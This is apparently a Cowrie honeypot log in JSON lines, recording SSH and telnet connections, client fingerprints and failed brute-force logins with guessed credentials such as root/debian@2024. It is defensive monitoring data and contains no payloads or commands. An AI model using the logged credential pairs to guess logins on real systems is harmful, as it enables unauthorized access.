{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:15.214970Z","src_ip":"80.94.92.186","session":"83df3bc7e017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"data","message":"login attempt [admin/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:15.239218Z","src_ip":"140.106.25.230","session":"a3809ba7f227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:16.280006Z","src_ip":"140.106.25.230","session":"a3809ba7f227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241565704346,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:17.464949Z","src_ip":"170.79.76.209","session":"bc0c46bb71cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55863,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef280be825d","protocol":"telnet","message":"New connection: 170.79.76.209:55863 (10.17.0.5:23) [session: 1ef280be825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:20.609925Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36222,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6fc68452284","protocol":"ssh","message":"New connection: 159.203.92.129:36222 (159.203.135.109:22) [session: e6fc68452284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:22.088688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:22.093446Z","src_ip":"159.203.92.129","session":"e6fc68452284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:22.097998Z","src_ip":"159.203.92.129","session":"e6fc68452284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a207","password":"a207","message":"login attempt [a207/a207] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:22.111097Z","src_ip":"159.203.92.129","session":"e6fc68452284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:23.118666Z","src_ip":"159.203.92.129","session":"e6fc68452284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0067298412323,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:29.851801Z","src_ip":"170.79.76.209","session":"155f4df02c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":45458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d2d1d04ac8","protocol":"ssh","message":"New connection: 173.249.6.197:45458 (159.203.135.109:22) [session: d7d2d1d04ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:30.242772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:30.247875Z","src_ip":"173.249.6.197","session":"d7d2d1d04ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:30.341426Z","src_ip":"173.249.6.197","session":"d7d2d1d04ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitlab","message":"login attempt [git/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:30.749899Z","src_ip":"173.249.6.197","session":"d7d2d1d04ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55814,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c2b514a078","protocol":"telnet","message":"New connection: 170.79.76.209:55814 (10.17.0.5:23) [session: 38c2b514a078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:31.249318Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:31.850937Z","src_ip":"173.249.6.197","session":"d7d2d1d04ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":58762,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1fdd60871e1","protocol":"ssh","message":"New connection: 152.32.238.146:58762 (10.17.0.5:22) [session: c1fdd60871e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:49.894219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:49.899378Z","src_ip":"152.32.238.146","session":"c1fdd60871e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:49.916491Z","src_ip":"152.32.238.146","session":"c1fdd60871e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu12","password":"123456","message":"login attempt [ubuntu12/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:49.999334Z","src_ip":"152.32.238.146","session":"c1fdd60871e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:51.013541Z","src_ip":"152.32.238.146","session":"c1fdd60871e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":56072,"dst_ip":"159.203.135.109","dst_port":22,"session":"da39aead822c","protocol":"ssh","message":"New connection: 140.106.25.230:56072 (159.203.135.109:22) [session: da39aead822c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.169647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.175371Z","src_ip":"140.106.25.230","session":"da39aead822c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.208439Z","src_ip":"140.106.25.230","session":"da39aead822c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"devdev123","message":"login attempt [dev/devdev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.354304Z","src_ip":"140.106.25.230","session":"da39aead822c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50770,"dst_ip":"159.203.135.109","dst_port":22,"session":"a35c56224f9b","protocol":"ssh","message":"New connection: 159.203.92.129:50770 (159.203.135.109:22) [session: a35c56224f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.856662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.930089Z","src_ip":"159.203.92.129","session":"a35c56224f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:07.936035Z","src_ip":"159.203.92.129","session":"a35c56224f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a207","password":"a207123","message":"login attempt [a207/a207123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:08.115294Z","src_ip":"159.203.92.129","session":"a35c56224f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:08.391155Z","src_ip":"140.106.25.230","session":"da39aead822c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:09.180932Z","src_ip":"159.203.92.129","session":"a35c56224f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":57468,"dst_ip":"10.17.0.5","dst_port":22,"session":"176531e79465","protocol":"ssh","message":"New connection: 152.32.238.146:57468 (10.17.0.5:22) [session: 176531e79465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:33.418273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:33.423174Z","src_ip":"152.32.238.146","session":"176531e79465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:33.438317Z","src_ip":"152.32.238.146","session":"176531e79465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian@2024","message":"login attempt [root/debian@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:33.513874Z","src_ip":"152.32.238.146","session":"176531e79465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:34.542703Z","src_ip":"152.32.238.146","session":"176531e79465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34448,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0754dd4f34","protocol":"ssh","message":"New connection: 159.203.92.129:34448 (159.203.135.109:22) [session: 9a0754dd4f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:51.565692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:51.570898Z","src_ip":"159.203.92.129","session":"9a0754dd4f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:51.576386Z","src_ip":"159.203.92.129","session":"9a0754dd4f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a2","password":"a2","message":"login attempt [a2/a2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:51.589638Z","src_ip":"159.203.92.129","session":"9a0754dd4f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:52.597566Z","src_ip":"159.203.92.129","session":"9a0754dd4f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":45126,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d699fe9a1d","protocol":"ssh","message":"New connection: 140.106.25.230:45126 (159.203.135.109:22) [session: 63d699fe9a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:57.736393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:15:57.741726Z","src_ip":"140.106.25.230","session":"63d699fe9a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","e